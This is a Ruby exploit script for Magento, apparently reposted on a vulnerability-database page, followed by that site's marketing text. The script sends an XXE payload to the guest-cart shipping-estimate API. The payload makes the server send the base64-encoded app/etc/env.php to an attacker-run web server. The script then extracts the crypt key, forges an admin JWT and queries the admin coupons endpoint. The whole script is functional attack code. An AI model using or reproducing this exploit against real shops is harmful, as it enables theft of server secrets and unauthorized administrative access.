`#!/usr/bin/env ruby -W0
require 'bundler'
Bundler.require(:default)
DEBUG = false
USE_PROXY = false
PROXY_ADDR = '127.0.0.1'
PROXY_PORT = 8080
def debug(msg)
puts msg.inspect if DEBUG
end
def rand_text(length = 8)
# random string generator
o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten
(0...length).map { o[rand(o.length)] }.join
end
def dtd_param_name
@dtd_param_name ||= rand_text()
end
def ent_eval
@ent_eval ||= rand_text()
end
def leak_param_name
@leak_param_name ||= rand_text()
end
def remote_addr
@remote_addr ||= "http://#{@srv_host.host}:#{@srv_host.port}"
end
def http
@http ||= begin
http = if USE_PROXY
Net::HTTP.new(@target_uri.host, @target_uri.port, PROXY_ADDR, PROXY_PORT)
else
Net::HTTP.new(@target_uri.host, @target_uri.port)
end
if @target_uri.port == 443 || @target_uri.to_s.match(%r{http(s).*})
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end
http.set_debug_output($stderr) if DEBUG
http
end
end
def make_xxe_dtd
filter_path = 'php://filter/convert.base64-encode/resource=../app/etc/env.php'
ent_file = rand_text()
%(
<!ENTITY % #{ent_file} SYSTEM "#{filter_path}">
<!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM '#{remote_addr}/?#{leak_param_name}=%#{ent_file};'>">
)
end
def xxe_xml_data()
param_entity_name = rand_text()
xml = "<?xml version='1.0' ?>"
xml += "<!DOCTYPE #{rand_text()}"
xml += '['
xml += " <!ELEMENT #{rand_text()} ANY >"
xml += " <!ENTITY % #{param_entity_name} SYSTEM '#{remote_addr}/#{rand_text}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; "
xml += ']'
xml += "> <r>&#{ent_eval};</r>"
xml
end
LIBXML_NOENT = 2
LIBXML_PARSEHUGE = 524288
def xxe_request()
debug('Sending XXE request')
signature = rand_text().capitalize
post_data = {
"address": {
"#{signature}": rand_text(),
"totalsCollector": {
"collectorList": {
"totalCollector": {
"\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": {
"data": xxe_xml_data(),
"options": LIBXML_NOENT|LIBXML_PARSEHUGE
}
}
}
}
}
}.to_json
req = Net::HTTP::Post.new('/rest/V1/guest-carts/1/estimate-shipping-methods')
req.body = post_data
req.content_type = 'application/json'
# req.user_agent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)'
res = http.request(req)
raise RuntimeError, "Server returned unexpected response" unless res&.code == '400'
body = JSON.parse(res.body)
raise RuntimeError, "Server returned unexpected response" unless body['parameters']['fieldName'] == signature
end
TARGET_USER_ID = 1
USER_TYPE_INTEGRATION = 1;
USER_TYPE_ADMIN = 2;
USER_TYPE_CUSTOMER = 3;
USER_TYPE_GUEST = 4;
def jwt_encode(key, algorithm = 'HS256')
def pad_key(key, total_length, pad_char)
left_padding = (total_length - key.length) / 2
right_padding = total_length - key.length - left_padding
pad_char * left_padding + key + pad_char * right_padding
end
header = {
kid: "1",
alg: "HS256"
}
payload = {
uid: TARGET_USER_ID,
utypid: USER_TYPE_ADMIN,
iat: Time.now.to_i, # Token issue time',
exp: Time.now.to_i + 10 * 24 * 60 * 60, # Token expiration time
}
def base64_url_encode(str)
Base64.urlsafe_encode64(str).tr('=', '')
end
padded_key = pad_key(key, 2048, '&')
encoded_header = base64_url_encode(header.to_json)
encoded_payload = base64_url_encode(payload.to_json)
# Create the signature
data = "#{encoded_header}.#{encoded_payload}"
signature = OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), padded_key, data)
encoded_signature = base64_url_encode(signature)
# Combine the header, payload, and signature to form the JWT
"#{encoded_header}.#{encoded_payload}.#{encoded_signature}"
end
def exploit()
begin
puts "Starting web server..."
body = make_xxe_dtd()
file_content = nil
file_content_reader, file_content_writer = IO.pipe
WEBrick::HTTPRequest.const_set("MAX_URI_LENGTH", 10240)
wbserver_options = {
:BindAddress => '0.0.0.0',
:Port => @srv_host.port,
:Logger => WEBrick::Log.new($stderr, WEBrick::Log::DEBUG),
:AccessLog => [],
# :RequestTimeout => 300, # Increase request timeout
# :RequestMaxUriLength => 100240 # Increase max URI length
}
wbserver_options[:Logger] = WEBrick::Log.new("/dev/null") unless DEBUG
pid = Process.fork do
file_content_reader.close
server = WEBrick::HTTPServer.new(wbserver_options)
server.mount_proc '/' do |req, res|
if req.path =~ /\.dtd$/
res.body = body
elsif req.query_string.match(/#{leak_param_name}=(.*)/)
file_content = Base64.decode64(Regexp.last_match(1))
# puts "Received leaked file content:\n#{file_content}"
file_content_writer.puts file_content
else
res.body = 'OK'
end
end
trap("INT") do
server.shutdown
file_content_writer.close
end
server.start
end
sleep(1)
xxe_request()
file_content_writer.close
begin
# Set a timeout for reading from the pipe
Timeout.timeout(5) do # 5 seconds timeout, adjust as necessary
file_content = file_content_reader.read_nonblock(10000) # Adjust the size as necessary
end
rescue Timeout::Error
puts "Reading from pipe timed out."
rescue EOFError
puts "End of file reached."
ensure
file_content_reader.close
end
# Use file_content as needed here
if file_content
# puts "Successfully read file content:\n#{file_content}"
key = file_content.match(/'key' => '(.*)'/)[1]
if key
debug "Found key: #{key}"
jwt = jwt_encode(key)
puts "Generated JWT: #{jwt}"
puts("Sending request with JWT to coupons endpoint")
# Perform authenticated request to a admin endpoint
res = http.request(Net::HTTP::Get.new('/rest/default/V1/coupons/search?searchCriteria=', {'Authorization' => "Bearer #{jwt}"}))
raise RuntimeError, "Server returned unexpected response" unless res&.code == '200'
puts "Available coupons:"
puts JSON.pretty_generate(JSON.parse(res.body))
else
puts "Failed to extract key from file content."
end
else
puts "Failed to read file content or content is empty."
end
puts "Exploit completed"
rescue RuntimeError => e
puts "#{e.class} - #{e.message}"
ensure
if pid
Process.kill("INT", pid)
Process.wait(pid)
end
end
end
if __FILE__ == $0
@target_uri = URI.parse(ARGV[0])
@srv_host = URI.parse(ARGV[1])
exploit()
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation